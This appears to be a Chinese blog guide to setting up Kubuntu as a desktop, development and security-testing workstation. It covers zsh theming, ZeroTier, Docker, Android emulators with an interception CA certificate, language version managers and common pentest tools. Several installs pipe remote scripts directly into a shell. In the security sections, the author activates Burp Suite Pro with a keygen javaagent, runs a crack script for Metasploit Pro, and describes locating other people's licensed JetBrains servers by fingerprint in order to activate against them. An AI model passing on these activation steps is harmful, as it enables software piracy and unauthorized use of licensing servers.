# 切换 root 用户sudo -i# 执行驱动安装脚本./yt_nic_install.sh

截图增强

Kubuntu 自带的 Spectacle 截图也还算不错,但是还算没有 Snipaste 强大和丝滑,唯一要注意的就是这个截图软件自带的快捷键很多和 KDE 桌面的快捷键冲突了,所以需要自己设置来避开:

鼠标增强

在 Discover 商店里下载安装 【Piper】可以很方便的自定义管理我们的鼠标,这样侧键就可以完全利用起来了:

分类分级

KDE 自带的应用分类不满足国庆,建议大家重新分类,我们可以借助 KDE 自带的【KDE 菜单编辑器】来实现应用的分类:

流量监控

OpenSnitch 是一个 GNU/Linux 交互式应用程序防火墙,其灵感来自 Little Snitch。

# 安装守护进程sudo gdebi opensnitch_1.6.6-1_amd64.deb# 守护进程设置开机自启sudo systemctl enable --now opensnitch.service# 安装图形化界面sudo gdebi python3-opensnitch-ui_1.6.6-1_all.deb                     

这样所有应用程序流量你都可以了如指掌:

这种感觉才是真正 Linux 的感觉,所有流量我全都要搞清楚:

文件传送

不必羡慕苹果的隔空投送生态,借助开源项目 localsend 我们也可以轻松实现,安装很简单,官网直接下载 deb 安装包即可:

sudo gdebi LocalSend-1.15.4-linux-x86-64.deb

Code Server

安装教程

官方项目的 Release 直接下载最新的 deb 包安装即可:

sudo gdebi code-server_4.93.1_amd64.deb

默认的配置存放在:

cat ~/.config/code-server/config.yaml

直接启动即可运行 Code Server:

code-server

CrossOver

安装简介

如果你真的打算使用 Linux 作为主力系统,且又不想开虚拟机运行一些必要的 exe,这个时候可以了解一下 CrossOver,默认会有十几天试用期,足够大家体验了:

如果真的用的习惯的话,可以考虑咸鱼上花 80多元买个正版激活码,如果买了激活码还是无法提示注册失败等原因的话,我们可以像下面这样手动去官网下载许可证文件,然后放到 CrossOver 下面这个目录即可:

/opt/cxoffice/etc

软件对比

下面是通过 CrossOver 运行的 Audacity 和官方打包的 AppImage 版本对比,发现这个付费的 CrossOver 还是很值得的:

左边是付费的 CrossOver ,右边为官方打包的 AppImage 版本 ,可以看出来 CrossOver 的体验还是和 Windows 无限接近的,更加细腻。

软件效果

下面列举一些在 CrossOver 下工作良好的软件截图:

  • 网易云音乐

  • Notepad++

  • ResourceHacker

  • Firefox 渗透便携版

命令环境

默认的 bash shell 太素来,所有建议使用 zsh shell 环境,现在的 Kali Linux 默认 zsh shell 环境了,确实 zsh 支持的插件更丰富,更可以提高我们命令输入的效率。

# 安装 zshsudo apt install zsh# 更改默认shell为zshchsh -s /bin/zsh# 安装 oh-my-zshsh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

注销或者重启后会生效 zsh 为默认的 shell

zsh 的经典插件推荐安装:

# 目录快速调整切换sudo apt install autojump# 自动建议提示接下来可能要输入的命令git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions# 命令语法检测git clone https://github.com/zsh-users/zsh-syntax-highlighting $ZSH_CUSTOM/plugins/zsh-syntax-highlighting

~/.zshrc 中配置启用这些插件:

plugins=(git autojump zsh-autosuggestions zsh-syntax-highlighting)

其他 ~/.zshrc 功能配置:

# 关掉 URL 反斜杠转义DISABLE_MAGIC_FUNCTIONS="true"# 禁用 on my zsh 自动更新zstyle ':omz:update' mode disabled

细心的小伙伴肯定会发现我们切换到 root 发现依然是 bash shell,这对于强迫症来说就有点难受了。

我们也来给 root 用户配置一下 zsh shell,首先手动在 root 用户下将 zsh 设置为默认的 shell:

# 切换 rootsudo -i# 设置 root 用户默认 shell 为 zshchsh --shell /bin/zsh

接着切换到普通用户,使用软连接,链接 我们普通用户 home下的的 zsh 配置:

sudo ln -s $HOME/.oh-my-zsh /root/.oh-my-zshsudo ln -s $HOME/.zshrc /root/.zshrc

基本上没问题了,但是依然提示了一些警告信息:

~/.zshrc 中添加配置即可关闭告警:

ZSH_DISABLE_COMPFIX="true"

这样我们的 root 用户也可以丝滑的使用 zsh 啦:

命令美化

字体安装

为了下面我们花里胡哨的配置下的图标都正常显示,我们这里建议先提前把我们的终端配置好字体。

带图标字体下载地址:Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher

其实下载第一个【0xProtoNerdFont 】字体效果就已经挺不错的了,当然大家可以自己尝试去体验看看更多其他的字体。

字体安装也比较简单,直接右键点击【安装】,安装为【系统字体】即可:

终端配置

内置的方案是只读的不可编辑,所有我们需要自己创建一个自己的配置方案:

大家根据自己的喜好配置来就行了,我这里只强调配置一下我们上面刚刚安装好的字体:

花里胡哨

本次使用我之前的项目来配置:https://github.com/sqlsec/fastfetch

Fastfetch 是一个类似 neofetch 的工具,用于获取系统信息并漂亮地显示它。它主要用 C 语言编写,并考虑了性能和可定制性。本项目是一个 Fastfetch 轮子,主要是集成了宝可梦显示和其他系列的恶搞图片,目前只在 Linux 和 macOS 平台下测试过。

首先安装 Fastfetch

sudo add-apt-repository ppa:zhangsongcui3371/fastfetchsudo apt updatesudo apt install fastfetch

然后安装终端下的宝可梦:

git clone https://gitlab.com/phoneybadger/pokemon-colorscripts.gitcd pokemon-colorscriptssudo ./install.sh# 测试是否正常工作pokemon-colorscripts -r --no-title

导入我们的配置文件:

# 备份原有的配置文件(执行失败的话也没关系 说明没默认配置)mv $HOME/.config/fastfetch $HOME/.config/fastfetch.bak# 进入 .config 目录cd $HOME/.config# 下载并解压然后删除wget https://github.com/sqlsec/fastfetch/releases/download/v0.1/fastfetch-for-Linux.zipunzip fastfetch-for-Linux.zip && rm fastfetch-for-Linux.zip

最终花里胡哨的 fastfetch 效果如下:

如果需要 root 用户也使用花里胡哨的 fastfetch 的话,可用使用软连接,链接 我们普通用户 home下的的对应文件件夹配置:

sudo ln -s $HOME/.config/fastfetch  /root/.config/fastfetch

为了每次打开 zsh 都有不一样的随即宝可梦出现,我们可以手动追加 zsh 配置:

echo "pokemon-colorscripts -r --no-title" >> ~/.zshrc

主题美化

下载安装主题

本次使用的大名鼎鼎的 powerlevel10k 主题,首先将主题 git clone 到我们的主题目录下:

git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

~/.zshrc 中配置启用新的主题:

ZSH_THEME="powerlevel10k/powerlevel10k"

主题配置向导

重载 zsh 终端会自动进入 powerlevel10k 主题的配置向导:

zsh

根据向导的提示回答 y 或者 n 即可,下面是向导问的几个问题:

# 这看起来像菱形吗?Does this look like a diamond (rotated square)?# 这看起来像一个锁吗?Does this look like a lock?# 这看起来像一个向上的箭头吗?Does this look like an upwards arrow?# 这些图标都正常显示放在 x 之间,没有重叠吗?Do all these icons fit between the crosses?

问完问题后选择终端前面的提示样式,国光我这里肯定选择了最酷炫的 Rainbow 样式:

编码这块推荐使用更标准先进的 Unicode 编码:

其他的设置细节根据大家自己的喜好来就行,国光我就不一一列举了:

如果期间又不小心配置错误的话,可以运行:

p10k configure

重新走一步配置向导。

解决告警问题

配置完主题后重新加载 zsh 会发现有告警信息:

发现原来是我们这一步配置有问题:

我们手动编辑 .p10k.zsh 配置文件:

最终我们的命令行终端效果如下:

远程环境

穿透工具

本章节主要是借助 ZeroTier 来进行穿透环境搭建,属于国光我的个人生产力搭配,网友们可以了解一下,不一定非要照抄作业。

首先我们需要借助 xubiaolin/docker-zerotier-planet: 一分钟私有部署zerotier-planet服务 (github.com) 项目来搭建自己的 ZeroTier 中转服务器,每个自己的私服都有自己对应的 planet 文件,我们使用不同的 planet 文件即可连接不同的 ZeroTier 服务。

首先我们本地需要安装好官方的 ZeroTier 客户端:

curl -s https://install.zerotier.com | sudo bash

安装完成后,使用直接设置开机自启然后加入网络即可:

# 设置 zerotier 开机自启systemctl enable zerotier-one.service# 备份官方的 planet 文件sudo mv /var/lib/zerotier-one/planet /var/lib/zerotier-one/planet.bak# 下载替换你的 plantxxxxxxx 此处省略 xxxxxxxx# 启动 zerotier 服务systemctl start zerotier-one.service

另一个客户端我们使用 Docker 版本的:

docker run --name zerotier-one --device=/dev/net/tun --net=host --cap-add=NET_ADMIN --cap-add=SYS_ADMIN -v /home/x-x/Documents/Tools/zerotier:/var/lib/zerotier-one --restart=always -d zerotier/zerotier

其中 /home/x-x/Tools/zerotier/ 设置为你自己的本地文件夹。

因为两个 ZeroTier 的客户端端口会有冲突,必定只能运行 1 个,所以我们需要手动修改 Docker 的端口为其他端口:

vim /var/lib/zerotier-one/local.conf

这里国光我修改为了 9333 端口:

设置完成后就可以同时使用 2 个 ZeroTier 的不同 planet 了 :

SSH Server

Kubuntu 默认只有 SSH 客户端,所有想要其他设备远程我们自己的话,还得安装 SSH 服务端:

# 安装 SSH Serversudo apt install openssh-server# SSH 服务开机自启sudo systemctl enable ssh.service 

虚拟环境

QEMU-KVM

QEMU 是 Linux 下原生的虚拟化方案,体验还是非常非常丝滑的,Ubuntu 安装的话也比较简单:

sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients cinst bridge-utils virt-manager virt-viewer

开机自启和启动 libvirt 服务:

sudo systemctl enable libvirtdsudo systemctl start libvirtd

当前用户添加到 libvirtkvm 组,以便不需要使用 root 权限进行管理:

sudo usermod -aG libvirt $(whoami)sudo usermod -aG kvm $(whoami)

重启系统生效功能更改。

使用 virt-manager 打开虚拟系统管理器,图形化界面操作还是比较简单的 ,我们可以创建一个自己的 Windows 虚拟机。

手动添加一个 SATA CDROM 的设备类型,源路径指向我们的系统镜像:

然后引导菜单里面勾选我们刚刚添加的 CD 光盘镜像,再次开机即可直接安装系统了:

image-20241007173602755

为了提高虚拟机的性能和使用体验,我们还需要安装 virtio 驱动(类似于 Vmware 的虚拟机增强工具)

官方的 virtio 下载地址为:https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/

我们选择最新版本的 virtio-win.iso 下载,然后挂载到虚拟机里面运行【virtio-win-guest-tools.exe】安装即可:

Docker

Ubuntu 使用官方自动安装脚本可以很方便的安装 Docker:

# 自动安装脚本curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun# 将当前用户添加到 docker 用户组里sudo groupadd dockersudo usermod -aG docker `whoami`# 重启生效reboot# 检验版本输出是否正常docker version

Docker 安装完成后那么开始准备安装 Docker Compose 了,首先去官方项目查看最新的稳定版为多少,然后手动下载最新版本 赋予执行权限即可:

# 下载我写这篇文章的最新版本 2.29.7sudo curl -L "https://github.com/docker/compose/releases/download/v2.29.7/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose# 赋予执行权限sudo chmod +x /usr/local/bin/docker-compose# 查看 Docker-compose 版本$ docker-compose versionDocker Compose version v2.29.7

完整完成后配置一下 Docker 的开机自启:

sudo systemctl enable docker.servicesudo systemctl enable containerd.service

Docker 其实挺简单的,国光我之前也做了一些笔记,比如:Docker温故知新,其实 Docker 这块更多的还得靠自己去实操,成长会更快!

Waydroid

安装教程

Waydroid 使用 Linux 命名空间(user、pid、uts、net、mount、ipc)在容器中运行完整的 Android 系统,并在任何基于 GNU/Linux 的平台(arm、arm64、x86 x86_64)上提供 Android 应用程序。

# 导入 repo 源头、curl https://repo.waydro.id | sudo bash# 安装 waydroidsudo apt install waydroid -y

默认点击下一步,在点击 Download 前建议 Clash 开启 TUN 模式下载安装:

显示界面

默认显示的界面有点胖胖的,很不舒服,我们可以修改 hyprland 的配置文件来自定义启动界面大小:

waydroid prop set persist.waydroid.width 480waydroid prop set persist.waydroid.height 900

重启 waydroid 生效:

waydroid session stop

如果要移动窗口,使用 Super + 鼠标来移动。

ARM 转译

这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。

# 下载拷贝项目git clone https://github.com/casualsnek/waydroid_scriptcd waydroid_script# 使用 3.8.20 的 pyenv 虚拟环境pyenv local 3.8.20# 更新一下最新的 pippython -m pip install --upgrade pip -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple # 安装脚本相关的依赖python -m pip install -r requirements.txt -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple

运行脚本:

sudo -ipython main.py

命令行图形化界面我的选项供大家参考:

这样就可以正常打开我们常用的 APP 了:

基本用法

# 当前会话关机waydroid session stop# 重启 waydroid 服务sudo systemctl restart waydroid-container.service 

开发测试

# 安装 adb 开发工具apt install adb# 安装 apk 包waydroid app install  /xxx/xxx/xx.apk# adb 使用 IP 连接 (关于本机查看)adb connect 192.168.x.x:5555

手动安装 BP 证书:

# 对 BP 证书进行转换openssl x509 -inform DER -in cacert.der -out cacert.pem# 计算 BP 证书 hashcert_hash=$(openssl x509 -subject_hash_old -in cacert.pem | head -1)# 创建证书文件夹sudo mkdir -p /var/lib/waydroid/overlay/system/etc/security/cacerts/# 导入证书sudo cp cacert.pem /var/lib/waydroid/overlay/system/etc/security/cacerts/${cert_hash}.0

或者借助 waydroid_script 项目,直接导入证书也可以:

sudo python3 main.py install mitm --ca-cert cacert.pem

接着手动将模拟器设置本地的代理:

adb shell settings put global http_proxy "ip:port" 

如果取消代理则使用下面命令:

adb shell settings delete global global_http_proxy_hostadb shell settings delete global global_http_proxy_portadb shell settings delete global http_proxy

这样就可以正常抓包测试了。

Genymotion

基本安装

Genymotion 下载安装很简单,直接官网下载对应的安装包即可(默认安装在当前目录,安装前提前准备好目录):

chmod +x genymotion-3.7.1-linux_x64.bin    ./genymotion-3.7.1-linux_x64.bin 

记得注册一下对应的账号,虽然是免费版本的:

表面上不支持开启 root 权限:

实际上手动进 adb 发现还是可以直接切换到 root 用户的:

ARM 转译

这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。

本次转译借助:https://github.com/niizam/Genymotion_A11_libhoudini 项目来实现,下面是一些操作细节:

打开 Android 11 模拟器,下面直接在命令行下操作

# 进入 adb 切换 root 用户,将系统根目录挂载为可读写adb shellsumount -o rw,remount /# 写入内容echo 'ro.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.product.cpu.abilist64=x86_64,arm64-v8aro.vendor.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.vendor.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.vendor.product.cpu.abilist64=x86_64,arm64-v8aro.odm.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.odm.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.odm.product.cpu.abilist64=x86_64,arm64-v8aro.dalvik.vm.native.bridge=libhoudini.soro.enable.native.bridge.exec=1ro.enable.native.bridge.exec64=1ro.dalvik.vm.isa.arm=x86ro.dalvik.vm.isa.arm64=x86_64ro.zygote=zygote64_32' | tee -a /system/build.prop >> /system/vendor/build.prop

从官方的 Release 页面下载 system.zip,直接拖入到模拟器中,根据提示直接确认刷入:

刷入完成后直接重启模拟器即可。

这样就可以正常打开我们常用的 APP 了:

开发环境

Git

如果要使用 Github 协作项目的话,那么 GitHub 会根据我们本地的 Git 配置去箱显示对应的 commit 记录的头像:

# 配置邮箱 git config --global user.email "[email protected]"# 配置用户名git config --global user.name "国光"

下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:

img

Java

无论是 Oracle JDK 还是 Linux 自带的 OpenJDK,我们都可以先自己安装一遍,多多益善。有了 jenv 我们全部都可以灵活的切换。

经典的 JDK8 肯定是要安装一下的:

# 解压到/usr/lib/目录下sudo tar -zxvf jdk-8u411-linux-x64.tar.gz -C /usr/lib/# 编辑/etc/profile 配置文件sudo vim /etc/profile

末尾添加如下内容:

JAVA_HOME=/usr/lib/jdk1.8.0_411PATH=$JAVA_HOME/bin:$PATHCLASSPATH=$JAVA_HOME/jre/lib/ext:$JAVA_HOME/lib/tools.jarexport PATH JAVA_HOME CLASSPATH

配置完成后重新加载一下配置文件生效:

# 重新载入配置文件source /etc/profile# 验证是否安装成功java -version
# 官网下载 deb 包直接安装sudo gdebi jdk-17_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-17.0.12-oracle-x64/
# 官网下载 deb 包直接安装sudo gdebi jdk-21_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-21.0.4-oracle-x64/
# 官网下载 deb 包直接安装sudo gdebi jdk-23_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-23-oracle-x64/
  • OpenJDK 系列
# 路径为:/usr/lib/jvm/java-8-openjdk-amd64/sudo apt install openjdk-8-jdk # 路径为:/usr/lib/jvm/java-11-openjdk-amd64/sudo apt install openjdk-11-jdk # 路径为:/usr/lib/jvm/java-17-openjdk-amd64/sudo apt install openjdk-17-jdk # 路径为:/usr/lib/jvm/java-21-openjdk-amd64/sudo apt install openjdk-21-jdk 

虽然我们可以使用系统自带的:

update-alternatives --config java

简单高效地切换系统范围内的默认 Java 版本,但是不支持项目目录级别的 Java 版本管理:

这个时候我们可以考虑更加灵活的 jenv 了,可以在全局、用户级别以及项目级别管理和切换 Java 版本。

安装 jenv 不算复杂:

# 克隆项目git clone https://github.com/jenv/jenv.git ~/.jenv# 手动追加 zshrc 配置文件echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrcecho 'eval "$(jenv init -)"' >> ~/.zshrc

下面是基本的用法:

# 查看当前的 Java 版本jenv version# 手动添加本地的 Java Home 路径jenv add /usr/lib/jdk1.8.0_411/jenv add /usr/lib/jvm/jdk-17.0.12-oracle-x64/jenv add /usr/lib/jvm/jdk-21.0.4-oracle-x64/jenv add /usr/lib/jvm/jdk-23-oracle-x64/jenv add /usr/lib/jvm/java-8-openjdk-amd64/jenv add /usr/lib/jvm/java-11-openjdk-amd64/jenv add /usr/lib/jvm/java-17-openjdk-amd64/jenv add /usr/lib/jvm/java-21-openjdk-amd64/# 列出目前 jenv 所有可切换管理的版本jenv versions#global 全局设置 一般不建议改变全局设置➜ jenv global <java 版本># shell 会话设置 只影响当前的shell会话➜ jenv shell <java 版本># 取消 shell 会话的设置➜ jenv shell --unset# local 本地设置 只影响所在文件夹➜ jenv local <java 版本>

Cargo

Cargo 是 Rust 包管理器。Cargo 会下载 Rust 软件包的依赖项,编译你的包,制作可分发的包,并将它们上传到 crates.io

Ubuntu 上安装也比较简单:

curl https://sh.rustup.rs -sSf | sh

Redis

# 搭建 redis 服务器docker run --name redis-server -p 6379:6379 -d redis:7.2# 安装 redis 客户端sudo apt install redis-tools

Python

主要是利用 pyenv 项目来管理我们的 Python 版本,项目地址为:https://github.com/pyenv/pyenv

具体用法大家自己去看官方文档,我这里只简单记录一点点:

# 安装 pyenvcurl https://pyenv.run | bash

手动编辑 .zshrc 配置文件,末尾追加:

export PYENV_ROOT="$HOME/.pyenv"[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"eval "$(pyenv init -)"

简单的 pyenv 用法:

# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11

版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:

# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>

pyenv 的 global、local、shell 的优先级关系是:shell > local > global

如果 pyenv 安装常见的 Python 版本出现告警的话,手动安装一下常见的依赖:

sudo apt install -y \    build-essential \    libbz2-dev \    libssl-dev \    libreadline-dev \    libsqlite3-dev \    zlib1g-dev \    libncurses5-dev \    libncursesw5-dev \    libffi-dev \    liblzma-dev \    tk-dev \    uuid-dev \    libgdbm-dev \    libgdbm-compat-dev

如果需要 root 用户也使用 pyenv 的话,可用使用软连接,链接 我们普通用户 home下的的 .pyenv 文件夹配置:

sudo ln -s $HOME/.pyenv /root/.pyenv

Node.js

国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。

# 安装 nvmcurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash# 将下面的配置编辑追加到 .zshrc 配置中(如果有的话 不用重复添加)export NVM_DIR="$HOME/.nvm"[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"# 查看版本信息zsh➜ nvm --version0.40.3# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v18.20.4➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm current

MySQL

为了不干扰我们的宿主机环境,建议使用 Docker 来运行 MySQL 服务器:

docker run --name mysql -e MYSQL_ROOT_PASSWORD=P@ssw0rd -d -p 3306:3306 mysql:8.0.39-debian

安装 mysql 客户端:

sudo apt install mysql-client

Hexo

快速简约强大的博客框架:

# 安装 hexonpm install hexo-cli -g# Hexo 基础命令➜ hexo clean    # 清除缓存➜ hexo g        # 生成静态文件➜ hexo s        # 启动 Hexo 服务

MkDocs

MkDocs 是有一个优雅的写文档神器,使用 Python 安装很方便:

# 安装 mkdocs➜ pip install mkdocs# 安装 material 主题➜ pip install mkdocs-material

JetBrains

JetBrains 系列之间官网下载专业旗舰版的安装就行了:

# 给 pycharm 创建快捷方式sudo ln -s /home/x-x/Documents/Softs/pycharm-2024.2.3/bin/pycharm /usr/local/bin/pycharm# 给 idea 创建快捷方式sudo ln -s /home/x-x/Documents/Softs/idea-IU-242.23339.11/bin/idea /usr/local/bin/idea

对应的我们自己创建好菜单应用程序图标:

作为一个安全从业者,其实根本不需要找网上的盗版破解资源,我们直接利用正版服务器的指纹,即可找到网上很多的正版服务器:

直接激活就好了:

安全环境

因为时间和精力有限,这部分只列举一些典型的安全工具,后面大家可以在工作和实战中逐步完善打造自己的安全系统。

主机探测

# 安装  nmap 与 ncatsudo apt install nmap ncat# 安装扫描速度更快的 masscansudo apt install masscan# 使用 ARP 协议来发现本地网络上的 IPv4 主机并指纹识别sudo apt install arp-scan➜ arp-scan --localnetInterface: en0, type: EN10MB, MAC: c8:89:f3:b3:24:1d, IPv4: 10.1.1.180Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)10.1.1.100:0c:29:7c:19:2fVMware, Inc.10.1.1.10a0:36:9f:89:ad:30Intel Corporate10.1.1.1100:0c:29:b1:fa:11VMware, Inc.10.1.1.10000:11:32:fa:6e:7cSynology Incorporated10.1.1.218a8:a1:59:9f:57:aaASRock Incorporation10.1.1.128ec:4d:3e:86:cb:2eBeijing Xiaomi Mobile Software Co., Ltd10.1.1.19978:11:dc:7d:d5:9aXIAOMI Electronics,CO.,LTD# go 编写的快速高效的端口扫描工具➜ brew install naabu

SQL 注入

# sqlmap 足矣sudo apt install sqlmap

目录扫码

# dirsearch 足矣sudo apt install dirsearch

发现直接运行会报错:

➜ dirsearch                                                 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html  from pkg_resources import DistributionNotFound, VersionConflictURL target is missing, try using -u <url>

这是因为和 Ubuntu 自带的 Python 冲突了,不要慌,我们有 pyenv 之间全局替换一下 Python 版本即可:

pyenv global 3.8.8

文件分析

# binwalk CTF MISC 神器sudo apt install binwalk

移动安全

# adb 安装sudo apt install android-platform-tools-base 

密码破解

# 密码破解神器sudo apt install hashcat# 经典老牌的 UNIX 密码破解工具sudo apt install john# WiFi 无线安全必备sudo apt install aircrack-ng

流量分析

# wireshark 蓝队溯源必备sudo apt install wireshark

Wireshark 同样在 Wayland 协议下使用 KDE 自带的全局菜单插件的话,菜单也不正常显示,我们让其手动工作在 x11 模式下,添加如下环境变量:

QT_QPA_PLATFORM=xcb GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx

这样 Wireshark 即可正常工作了。

音频分析

Audacity 是经典的音频分析软件,使用系统自带的 Discover 商店即可安装,如果安装后打不开的话,不妨切换来源再试试看:

成功运行的截图证明:

压缩分析

星火商店可以直接安装 ARCHPR 经典的压缩包破解工具:

目前在 Wine 环境下工作良好:

JADX

JADX 可以很方便的分析 Jar 和 Android APK,安装好 Java 即可直接打开:

我们来手动创建一个 JADX 的快捷方式,方便下次直接打开:

Yakit

Yakit 确实也是国产里面比较不错安全软件,值得一试。Linux 安装也比较简单,直接 Release 下载封装好的 AppImage 即可。

目前在 Linux 上工作良好:

Goby

Goby 也是一个不错的国产扫描器,Linux 下工作也很丝滑:

Metasploit

官方的脚本安装即可:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \  chmod 755 msfinstall && \  ./msfinstall

首次运行需要初始化一下:

➜ msfconsole ** Welcome to Metasploit Framework Initial Setup **    Please answer a few questions to get started.Would you like to use and setup a new database (recommended)? y

Metasploit Pro

好像国内大家玩 Metasploit Pro 的不多,国光打包相关的资源大家自取。安装完成后手动再运行一些 Creak 里面的破解脚本:

因为这个 Pro 启动有点慢,所以每次开机后得确保相关服务都正常运行:

sudo systemctl list-units --type=service --all|grep metasploit

然后浏览器访问:

https://127.0.0.1:3790/

首次使用设置一下用户信息,因为有点复杂,大家一定要记好了:

相当于是一个 MSF 图形化界面,官方配备了一些自动化扫描功能:

当然 Metasploit Pro 也是自带 msfconsole 的,对比一下,确实多了不少辅助测试模块:

Burp Suite

首先在 BP 官网下载最新的 Pro 安装包:

chmod +x burpsuite_pro_linux_v2024_8_1.sh./burpsuite_pro_linux_v2024_8_1.sh

全部默认回车安装下去就行:

如果是带界面版本的话,可以先全部默认路径安装:

下载最新版本的注册机,拷贝到 BP 的安装目录下:

mv BurpLoaderKeygen_v1.17.jar ~/BurpSuitePro

直接运行注册机:

~/BurpSuitePro/jre/bin/java -jar ~/BurpSuitePro/BurpLoaderKeygen_v1.17.jar

点击Run,输入许可证然后选择手动激活即可:

为了日后方便使用,直接修改~/BurpSuitePro/BurpSuitePro.vmoptions, 增加以下参数:

--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED-javaagent:BurpLoaderKeygen_v1.17.jar-noverify

软件资源

授人以渔

Discover

Discover 是 KDE Plasma 桌面环境的图形化软件管理工具,支持多种软件包格式和源,包括 Snap 包。首次使用建议也顺便安装一下 Flatpak 软件包的后端程序,这样后续我们可以使用 Discove 搜索、安装和管理来自 Flatpak 软件源(如 Flathub)的应用程序。

首次使用 Discover 安装一些 snap 等一些资源软件可能存在汉字乱码的问题:

部分应用重启一下即可解决乱码问题了,少数应用还可能存在汉字乱码,所有整体 KDE 自带的 Discover 软件中心确实不太适合国人使用。

麒麟资源

国内大力推广普及信创系统,所有我们也可以白嫖麒麟系统他们打包好的常用软件,直接下载对应的 deb 包安装即可。

下载资源的地址:https://software.openkylin.top/openkylin/yangtze/pool/all/

本方法是评论区网友 like 分享的:

星火商店

星火应用商店是国内打造的,专为 Linux 用户设计的应用商店,旨在解决 Linux 生态下应用分散、难以获取的问题。

官网地址:https://www.spark-app.store/

安装方法,官方项目的 release 下载最新的 deb 包安装即可:

sudo gdebi spark-store_4.3.0-fix5.1_amd64.deb

系统增强

应用概览

软件名称下载安装方式说明
PCManFM-Qt File ManagerDiscover 商店更简约一点的文件管理器
FilesDiscover 商店另一款极简的文image-20241011163009383件管理器
PiperDiscover 商店鼠标侧建自定义
Nautilus scripts managerDiscover 商店GNOME 下默认的文件管理器

下载工具

软件名称下载安装方式说明
Motrix星火商店好用的多线程下载工具
迅雷麒麟资源极简版的迅雷下载工具
阿里云盘星火商店Wine 环境下工作良好
百度网盘星火商店垃圾百度云官方居然有 Linux 客户端
天翼云盘星火商店三线网盘居然也有 Linux 客户端
夸克网盘星火商店目前体验还算不错的国产网盘。
蓝奏云盘星火商店好像不怎么盈利,感觉随时可能跑路倒闭

浏览器

应用概览

浏览器名称下载安装方式说明
Chromium星火商店开源版本的 Chrome 浏览器
Google Chrome星火商店浏览器里永远的第一梯队
Microsoft Edge星火商店Edge 浏览器近几年发展的也不错
Vivaldi星火商店挺个性的基于 Chromium 内核的浏览器
Yadex Browser官网下载俄罗斯那边的浏览器,也是基于 Chromium 内核
深度浏览器星火商店基于玲珑应用反向打包的深度浏览器
Tor 浏览器星火商店关注暗网威胁情报必备

体验优化

自带的 FireFox 火狐浏览器在 KDE 的 Wayland 模式下工作很完美,支持双指捏合缩放也支持中文输入法,但是 Chrome 和 Edge 还是需要我们配置一下的。

  • FireFox

自带的 Firefox 和我们的主题外观样式格格不入,所以需要我们来优化定制一下外观:

git clone  https://github.com/vinceliuice/WhiteSur-firefox-theme.gitcd WhiteSur-firefox-theme./install.sh

  • Google Chrome
